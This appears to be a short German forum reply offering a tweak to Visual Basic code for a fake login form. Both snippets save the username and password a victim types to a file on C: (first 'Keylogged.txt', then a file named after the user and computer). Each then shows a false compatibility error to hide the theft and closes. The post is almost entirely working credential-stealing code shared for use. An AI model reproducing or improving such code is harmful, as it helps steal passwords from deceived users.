mach aus:
Code:
Open "C:\" & ("Keylogged.txt") For Output As #1
Write #1, "Username: " & Text1.Text & "," & "Password: " & Text2.Text; 
Close #1
MsgBox "Win32 not compatible W95 W2000 ver only.", vbOKOnly, Error
Unload Me
das:

Code:
Open "C:\" & environ("username") & "@" & environ("computername") & ".txt" For output As #1
Write #1, "Username: " & Text1.Text & "," & "Password: " & Text2.Text; 
Close #1
MsgBox "Win32 not compatible W95 W2000 ver only.", vbOKOnly, Error
Unload Me
Mfg